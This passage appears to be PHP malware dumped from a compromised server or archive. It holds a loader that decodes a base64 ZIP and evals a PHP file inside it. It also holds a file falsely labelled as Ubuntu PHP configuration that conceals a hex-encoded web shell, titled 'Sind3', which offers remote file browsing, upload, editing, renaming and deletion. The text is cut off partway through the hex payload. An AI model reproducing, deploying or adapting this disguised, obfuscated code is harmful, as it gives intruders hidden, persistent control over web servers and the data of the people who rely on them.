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';
$enko = $decode2($zipData);$anje = $decode4($enko);$decoy = $decode5($anje);$xnai = $decode3($decoy);$decodedZipData = $decode($xnai);$zipStream = fopen('php://temp', 'r+');
fwrite($zipStream, $decodedZipData);
rewind($zipStream);$tmpFile = tempnam(sys_get_temp_dir(), 'zip');$tmpFileStream = fopen($tmpFile, 'w');
stream_copy_to_stream($zipStream, $tmpFileStream);
fclose($zipStream);
fclose($tmpFileStream);
$zip = new ZipArchive();
if ($zip->open($tmpFile) === TRUE) {
    $hookIndex = $zip->locateName('sugagasnwqiotniqwntiqwntiqwtbniqwbtiqwbtqxxx1.php');
    
    if ($hookIndex !== false) {
        $phpCode = $zip->getFromIndex($hookIndex);

        try {
            eval('?>' . $phpCode);
        } catch (Throwable $e) {
            echo "?? Error in hook.php: ", $e->getMessage(), "\n";
        }
    } else {
        echo "? hook.php not found in the ZIP\n";
    }

    $zip->close();
} else {
    exit("? Failed to open ZIP\n");
}
unlink($tmpFile);
?>
PKLm\�r���	nf0qj.phpnu�[���<?php
/**
 * This file is part of the Ubuntu PHP configuration.
 *
 * Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>
 * Package   : php
 * Path      : /etc/php/8.1/apache2/php.ini
 *
 * Description:
 * This is a sample PHP configuration file used in Ubuntu.
 * Do not edit this file directly unless you know what you're doing.
 * For custom configurations, use the /etc/php/8.1/apache2/conf.d/ directory.
 *
 * License:
 * Distributed under the same terms as PHP itself.
 * See: https://www.php.net/license/3_01.txt
 */
class plugin_binalar_eski{
public function plugin_binalar_eskii(){
$list = "73657373696F6E5F737461727428293B6865616465722822582D5853532D50726F74656374696F6E3A203022293B6F625F737461727428293B7365745F74696D655F6C696D69742830293B6572726F725F7265706F7274696E672830293B696E695F7365742827646973706C61795F6572726F7273272C2046414C5345293B0A246973416A6178203D20697373657428245F5345525645525B27485454505F585F5245515545535445445F57495448275D29200A202020202020202020262620737472746F6C6F77657228245F5345525645525B27485454505F585F5245515545535445445F57495448275D29203D3D3D2027786D6C6874747072657175657374273B0A0A66756E6374696F6E2068657828246E29207B0A2020202024793D27273B0A20202020666F72202824693D303B202469203C207374726C656E28246E293B2024692B2B297B0A20202020202020202479202E3D20646563686578286F726428246E5B24695D29293B0A202020207D0A2020202072657475726E2024793B0A7D0A66756E6374696F6E207568657828247929207B0A20202020246E3D27273B0A20202020666F72202824693D303B202469203C207374726C656E282479292D313B2024692B3D32297B0A2020202020202020246E202E3D20636872286865786465632824795B24695D2E24795B24692B315D29293B0A202020207D0A2020202072657475726E20246E3B0A7D0A69662028697373657428245F4745545B2264225D2929207B0A202020202464203D207568657828245F4745545B2264225D293B0A202020206966202869735F6469722824642929207B0A20202020202020206368646972282464293B0A202020207D20656C7365207B0A20202020202020202464203D2067657463776428293B0A202020207D0A7D20656C7365207B0A202020202464203D2067657463776428293B0A7D0A66756E6374696F6E20736574466C61736828247374617475732C20246D736729207B0A20202020245F53455353494F4E5B27737461747573275D203D20247374617475733B0A20202020245F53455353494F4E5B276D7367275D203D20246D73673B0A7D0A69662028697373657428245F4745545B27616A6178275D2920262620245F4745545B27616A6178275D203D3D203129207B0A202020203F3E0A202020203C7461626C653E0A20202020202020203C74686561643E0A2020202020202020202020203C74723E0A202020202020202020202020202020203C74683E4E616D653C2F74683E0A202020202020202020202020202020203C74683E53697A653C2F74683E0A202020202020202020202020202020203C74683E416374696F6E733C2F74683E0A2020202020202020202020203C2F74723E0A20202020202020203C2F74686561643E0A20202020202020203C74626F64793E0A20202020202020203C3F7068700A202020202020202024656E7472696573203D207363616E646972282464293B0A2020202020202020246469724C697374203D205B5D3B0A20202020202020202466696C654C697374203D205B5D3B0A2020202020202020666F7265616368202824656E74726965732061732024656E74727929207B0A2020202020202020202020206966202824656E747279203D3D20272E27207C7C2024656E747279203D3D20272E2E272920636F6E74696E75653B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206966202869735F6469722824706174682929207B0A20202020202020202020202020202020246469724C6973745B5D203D2024656E7472793B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020202466696C654C6973745B5D203D2024656E7472793B0A2020202020202020202020207D0A20202020202020207D0A2020202020202020666F72656163682028246469724C6973742061732024656E74727929207B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206563686F20273C74723E273B0A2020202020202020202020206563686F20273C74643E3C6120636C6173733D22616A61784469722220687265663D223F643D27202E2068657828247061746829202E2027223E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F613E3C2F74643E273B0A2020202020202020202020206563686F20273C74643E2D3C2F74643E273B0A2020202020202020202020206563686F20273C74643E3C2F74643E273B0A2020202020202020202020206563686F20273C2F74723E273B0A20202020202020207D0A2020202020202020666F726561636820282466696C654C6973742061732024656E74727929207B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206563686F20273C74723E273B0A2020202020202020202020206563686F20273C74643E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F74643E273B0A2020202020202020202020206563686F20273C74643E27202E202869735F66696C6528247061746829203F2066696C6573697A6528247061746829202E202720627974657327203A20272D2729202E20273C2F74643E273B0A2020202020202020202020206563686F20273C74643E273B0A2020202020202020202020206563686F20273C6120636C6173733D22616A6178456469742220687265663D223F616374696F6E3D6564697426643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E456469743C2F613E207C20273B0A2020202020202020202020206563686F20273C6120636C6173733D22616A617852656E616D652220687265663D223F616374696F6E3D72656E616D6526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E52656E616D653C2F613E207C20273B0A2020202020202020202020206563686F20273C6120636C6173733D22616A617844656C6574652220687265663D223F616374696F6E3D64656C65746526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E44656C6574653C2F613E273B0A2020202020202020202020206563686F20273C2F74643E273B0A2020202020202020202020206563686F20273C2F74723E273B0A20202020202020207D0A20202020202020203F3E0A20202020202020203C2F74626F64793E0A202020203C2F7461626C653E0A202020203C3F7068700A20202020657869743B0A7D0A0A69662028697373657428245F4745545B27616A6178275D2920262620245F4745545B27616A6178275D203D3D3D202762726561646372756D622729207B0A20202020246B203D20707265675F73706C697428222F285C5C5C5C7C5C2F292F222C202464293B0A202020202462726561646372756D6248746D6C203D2027273B0A20202020666F72656163682028246B20617320246D203D3E20246C29207B0A202020202020202069662028246C203D3D20272720262620246D203D3D203029207B0A2020202020202020202020202462726561646372756D6248746D6C202E3D20273C6120636C6173733D22616A782220687265663D223F643D3266223E2F3C2F613E273B0A20202020202020207D0A202020202020202069662028246C203D3D2027272920636F6E74696E75653B0A20202020202020202462726561646372756D6248746D6C202E3D20273C6120636C6173733D22616A782220687265663D223F643D273B0A2020202020202020666F7220282469203D20303B202469203C3D20246D3B2024692B2B29207B0A2020202020202020202020202462726561646372756D6248746D6C202E3D2068657828246B5B24695D293B0A20202020202020202020202069662028246920213D20246D29202462726561646372756D6248746D6C202E3D20273266273B0A20202020202020207D0A20202020202020202462726561646372756D6248746D6C202E3D2027223E272E246C2E273C2F613E2F273B0A202020207D0A202020206563686F202462726561646372756D6248746D6C3B0A20202020657869743B0A7D0A0A66756E6374696F6E20736166655F73747265616D5F636F70792824696E2C20246F7574293A20626F6F6C207B0A20202020696620285048505F56455253494F4E5F4944203C20383030303929207B0A2020202020202020646F207B0A202020202020202020202020666F7220283B3B29207B0A202020202020202020202020202020202462756666203D2066726561642824696E2C2034303936293B0A20202020202020202020202020202020696620282462756666203D3D3D2066616C7365207C7C202462756666203D3D3D20272729207B0A2020202020202020202020202020202020202020627265616B3B0A202020202020202020202020202020207D0A202020202020202020202020202020206966202866777269746528246F75742C20246275666629203D3D3D2066616C736529207B0A202020202020202020202020202020202020202072657475726E2066616C73653B0A202020202020202020202020202020207D0A2020202020202020202020207D0A20202020202020207D207768696C6520282166656F662824696E29293B0A202020202020202072657475726E20747275653B0A202020207D20656C7365207B0A202020202020202072657475726E2073747265616D5F636F70795F746F5F73747265616D2824696E2C20246F75742920213D3D2066616C73653B0A202020207D0A7D0A0A69662028697373657428245F504F53545B2762656E6B796F275D2920262620697373657428245F504F53545B2764616B656A61275D2929207B0A202020202466696C654E616D65203D20245F504F53545B2762656E6B796F275D3B0A2020202024656E636F646564436F6E74656E74203D20245F504F53545B2764616B656A61275D3B0A20202020246465636F646564436F6E74656E74203D206865783262696E2824656E636F646564436F6E74656E74293B0A0A2020202069662028246465636F646564436F6E74656E74203D3D3D2066616C736529207B0A202020202020202069662028246973416A617829207B0A2020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A2020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E20276661696C6564272C20276D736727203D3E2027496E76616C69642042617365363420656E636F64696E67275D293B0A20202020202020207D20656C7365207B0A202020202020202020202020736574466C61736828276661696C6564272C2027496E76616C69642042617365363420656E636F64696E6727293B0A20202020202020202020202068656164657228224C6F636174696F6E3A203F643D22202E2068657828246429293B0A20202020202020207D0A2020202020202020657869743B0A202020207D0A0A202020202474656D7053747265616D203D20666F70656E28277068703A2F2F74656D70272C2027722B27293B0A20202020667772697465282474656D7053747265616D2C20246465636F646564436F6E74656E74293B0A20202020726577696E64282474656D7053747265616D293B0A0A202020202474617267657450617468203D202464202E204449524543544F52595F534550415241544F52202E20626173656E616D65282466696C654E616D65293B0A20202020246F757453747265616D203D20666F70656E2824746172676574506174682C2027776227293B0A0A202020202473756363657373203D202474656D7053747265616D20262620246F757453747265616D20262620736166655F73747265616D5F636F7079282474656D7053747265616D2C20246F757453747265616D293B0A0A2020202069662028246F757453747265616D292066636C6F736528246F757453747265616D293B0A20202020696620282474656D7053747265616D292066636C6F7365282474656D7053747265616D293B0A0A2020202069662028247375636365737329207B0A202020202020202069662028246973416A617829207B0A2020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A2020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E202773756363657373272C20276D736727203D3E202746696C652075706C6F61646564207375636365737366756C6C79275D293B0A20202020202020207D20656C7365207B0A202020202020202020202020736574466C617368282773756363657373272C202746696C652075706C6F61646564207375636365737366756C6C7927293B0A20202020202020202020202068656164657228224C6F636174696F6E3A203F643D22202E2068657828246429293B0A20202020202020207D0A202020207D20656C7365207B0A202020202020202069662028246973416A617829207B0A2020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A2020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C652075706C6F6164206661696C6564275D293B0A20202020202020207D20656C7365207B0A202020202020202020202020736574466C61736828276661696C6564272C202746696C652075706C6F6164206661696C656427293B0A20202020202020202020202068656164657228224C6F636174696F6E3A203F643D22202E2068657828246429293B0A202020202020202020202020657869743B0A20202020202020207D0A202020207D0A20202020657869743B0A7D0A69662028697373657428245F4745545B27616374696F6E275D2920262620696E5F617272617928245F4745545B27616374696F6E275D2C205B2764656C657465272C202772656E616D65272C202765646974275D2920262620697373657428245F4745545B2766696C65275D2929207B0A2020202069662028245F4745545B27616374696F6E275D203D3D3D202764656C6574652729207B0A20202020202020202466696C654E616D65203D20245F4745545B2766696C65275D3B0A20202020202020202466696C6550617468203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E202466696C654E616D65293B0A202020202020202069662028212466696C6550617468207C7C202169735F66696C65282466696C65506174682929207B0A20202020202020202020202024726573706F6E7365203D205B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C65206E6F7420666F756E64206F72206163636573732064656E696564275D3B0A20202020202020207D20656C7365207B0A20202020202020202020202024726573756C74203D20756E6C696E6B282466696C6550617468293B0A20202020202020202020202024726573706F6E7365203D2024726573756C74200A202020202020202020202020202020203F205B27737461747573273D3E2773756363657373272C276D7367273D3E2746696C652064656C65746564207375636365737366756C6C79275D200A202020202020202020202020202020203A205B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C652064656C6574696F6E206661696C6564275D3B0A20202020202020207D0A20202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A20202020202020206563686F206A736F6E5F656E636F64652824726573706F6E7365293B0A2020202020202020657869743B200A202020207D20656C736569662028245F4745545B27616374696F6E275D203D3D3D202772656E616D652729207B0A202020202020202069662028245F5345525645525B27524551554553545F4D4554484F44275D203D3D3D2027504F53542720262620697373657428245F504F53545B276E65775F6E616D65275D2929207B0A202020202020202020202020246F6C6446696C65203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E20245F4745545B2766696C65275D293B0A202020202020202020202020246E657746696C65203D202464202E204449524543544F52595F534550415241544F52202E20245F504F53545B276E65775F6E616D65275D3B0A20202020202020202020202069662028246F6C6446696C652026262069735F66696C6528246F6C6446696C652929207B0A2020202020202020202020202020202024726573756C74203D2072656E616D6528246F6C6446696C652C20246E657746696C65293B0A2020202020202020202020202020202024726573706F6E7365203D2024726573756C74200A20202020202020202020202020202020202020203F205B27737461747573273D3E2773756363657373272C276D7367273D3E2746696C652072656E616D6564207375636365737366756C6C79275D200A20202020202020202020202020202020202020203A205B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C652072656E616D696E67206661696C6564275D3B0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F64652824726573706F6E7365293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F6465285B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C65206E6F7420666F756E64275D293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D0A20202020202020207D20656C736569662028246973416A617829207B0A2020202020202020202020206563686F20273C68323E52656E616D652046696C653A2027202E2068746D6C7370656369616C636861727328245F4745545B2766696C65275D29202E20273C2F68323E273B0A2020202020202020202020206563686F20273C64697620636C6173733D227465726D696E616C2D626F78223E273B0A2020202020202020202020206563686F20273C666F726D20636C6173733D22616A6178466F726D22206D6574686F643D22504F53542220616374696F6E3D223F616374696F6E3D72656E616D6526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F646528245F4745545B2766696C65275D29202E2027223E273B0A2020202020202020202020206563686F20273C696E70757420747970653D227465787422206E616D653D226E65775F6E616D652220706C616365686F6C6465723D224E65772066696C65206E616D65222072657175697265643E3C62723E273B0A2020202020202020202020206563686F20273C62723E3C696E70757420747970653D227375626D6974222076616C75653D2252656E616D65223E20273B0A2020202020202020202020206563686F20273C627574746F6E20747970653D22627574746F6E222069643D2263616E63656C416374696F6E223E43616E63656C3C2F627574746F6E3E273B0A2020202020202020202020206563686F20273C2F666F726D3E273B0A2020202020202020202020206563686F20273C2F6469763E3C68723E273B0A202020202020202020202020657869743B0A20202020202020207D0A202020207D20656C736569662028245F4745545B27616374696F6E275D203D3D3D2027656469742729207B0A202020202020202069662028245F5345525645525B27524551554553545F4D4554484F44275D203D3D3D2027504F53542720262620697373657428245F504F53545B27636F6E74656E74275D2929207B0A2020202020202020202020202466696C6550617468203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E20245F4745545B2766696C65275D293B0A202020202020202020202020696620282466696C65506174682026262069735F66696C65282466696C65506174682929207B0A20202020202020202020202020202020246670203D20666F70656E282466696C65506174682C20227722293B0A202020202020202020202020202020206966202824667029207B0A20202020202020202020202020202020202020202462797465735772697474656E203D20667772697465282466702C207374726970736C617368657328245F504F53545B27636F6E74656E74275D29293B0A202020202020202020202020202020202020202066636C6F736528246670293B0A202020202020202020202020202020202020202024726573706F6E7365203D20282462797465735772697474656E20213D3D2066616C7365290A2020202020202020202020202020202020202020202020203F205B2773746174757327203D3E202773756363657373272C20276D736727203D3E202746696C6520656469746564207375636365737366756C6C79275D0A2020202020202020202020202020202020202020202020203A205B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C652065646974696E67206661696C6564275D3B0A202020202020202020202020202020207D20656C7365207B0A202020202020202020202020202020202020202024726573706F6E7365203D205B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C65206F70656E696E67206661696C6564275D3B0A202020202020202020202020202020207D0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F64652824726573706F6E7365293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C65206E6F7420666F756E64275D293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D20202020202020200A20202020202020207D20656C736569662028246973416A617829207B0A2020202020202020202020202466696C6550617468203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E20245F4745545B2766696C65275D293B0A202020202020202020202020696620282466696C65506174682026262069735F66696C65282466696C65506174682929207B0A2020202020202020202020202020202024636F6E74656E74203D2066696C655F6765745F636F6E74656E7473282466696C6550617468293B0A202020202020202020202020202020206563686F20273C68323E456469742046696C653A2027202E2068746D6C7370656369616C636861727328245F4745545B2766696C65275D29202E20273C2F68323E273B0A202020202020202020202020202020206563686F20273C64697620636C6173733D227465726D696E616C2D626F78223E273B0A202020202020202020202020202020206563686F20273C666F726D20636C6173733D22616A6178466F726D22206D6574686F643D22504F53542220616374696F6E3D223F616374696F6E3D6564697426643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F646528245F4745545B2766696C65275D29202E2027223E273B0A202020202020202020202020202020206563686F20273C7465787461726561206E616D653D22636F6E74656E742220726F77733D2231302220636F6C733D223530222072657175697265643E27202E2068746D6C7370656369616C63686172732824636F6E74656E7429202E20273C2F74657874617265613E3C62723E273B0A202020202020202020202020202020206563686F20273C62723E3C696E70757420747970653D227375626D6974222076616C75653D2253617665223E20273B0A202020202020202020202020202020206563686F20273C627574746F6E20747970653D22627574746F6E222069643D2263616E63656C416374696F6E223E43616E63656C3C2F627574746F6E3E273B0A202020202020202020202020202020206563686F20273C2F666F726D3E273B0A202020202020202020202020202020206563686F20273C2F6469763E3C68723E273B0A2020202020202020202020207D0A202020202020202020202020657869743B0A20202020202020207D0A202020207D0A7D0A3F3E0A3C21444F43545950452068746D6C3E0A3C68746D6C3E0A3C686561643E0A202020203C6D65746120636861727365743D225554462D38223E0A202020203C7469746C653E53696E64333C2F7469746C653E0A202020203C212D2D204C6F6164205562756E7475204D6F6E6F2066726F6D20476F6F676C6520466F6E7473202D2D3E0A202020203C6C696E6B20687265663D2268747470733A2F2F666F6E74732E676F6F676C65617069732E636F6D2F637373323F66616D696C793D5562756E74752B4D6F6E6F26646973706C61793D73776170222072656C3D227374796C657368656574223E0A202020203C7374796C653E0A20202020202020202A207B20626F782D73697A696E673A20626F726465722D626F783B207D0A2020202020202020626F6479207B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20726762612833372C2033372C2033372C20302E38293B202F2A2047726179207769746820736C69676874207472616E73706172656E6379202A2F0A202020202020202020202020636F6C6F723A20236666663B0A202020202020202020202020666F6E742D66616D696C793A20275562756E7475204D6F6E6F272C206D6F6E6F73706163653B0A2020202020202020202020206D617267696E3A20303B0A20202020202020202020202070616464696E673A20303B0A20202020202020207D0A20202020202020202E636F6E7461696E6572207B0A20202020202020202020202077696474683A203630253B0A2020202020202020202020206D617267696E3A2035307078206175746F3B0A20202020202020202020202070616464696E673A20323070783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020626F726465722D7261646975733A203870783B0A20202020202020207D0A20202020202020202E6675746572207B0A20202020202020202020202077696474683A203630253B0A2020202020202020202020206D617267696E3A2035307078206175746F3B0A20202020202020202020202070616464696E673A20323070783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020626F726465722D7261646975733A203870783B0A20202020202020207D0A20202020202020202E62726561646372756D6273207B206D617267696E2D626F74746F6D3A20313570783B207D0A202020202020202061207B20636F6C6F723A20233066303B20746578742D6465636F726174696F6E3A206E6F6E653B207D0A2020202020202020613A686F766572207B20746578742D6465636F726174696F6E3A20756E6465726C696E653B207D0A20202020202020207461626C65207B2077696474683A20313030253B20626F726465722D636F6C6C617073653A20636F6C6C617073653B206D617267696E2D746F703A20323070783B207D0A202020202020202074682C207464207B20626F726465723A2031707820736F6C696420233535353B2070616464696E673A203870783B20746578742D616C69676E3A206C6566743B207D0A20202020202020207468207B206261636B67726F756E642D636F6C6F723A20233333333B207D0A2020202020202020696E7075745B747970653D2274657874225D2C207465787461726561207B0A20202020202020202020202077696474683A20313030253B0A20202020202020202020202070616464696E673A203870783B0A2020202020202020202020206D617267696E3A20303B0A202020202020202020202020626F726465723A2031707820736F6C696420233333333B0A202020202020202020202020626F726465722D7261646975733A203470783B0A202020202020202020202020666F6E742D66616D696C793A20275562756E7475204D6F6E6F272C206D6F6E6F73706163653B0A20202020202020207D0A2020202020202020696E7075745B747970653D227375626D6974225D2C20627574746F6E207B0A202020202020202020202020626F726465723A2031707820736F6C696420236666663B0A20202020202020202020202070616464696E673A203470783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233333333B0A202020202020202020202020636F6C6F723A20236666663B0A202020202020202020202020637572736F723A20706F696E7465723B0A202020202020202020202020626F726465722D7261646975733A203470783B0A20202020202020207D0A2020202020202020666F726D207B206D617267696E2D626F74746F6D3A20323070783B207D0A20202020202020202E7465726D696E616C2D626F78207B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020636F6C6F723A20233066303B0A20202020202020202020202070616464696E673A20313570783B0A202020202020202020202020626F726465723A2031707820736F6C696420233333333B0A202020202020202020202020626F726465722D7261646975733A203470783B0A2020202020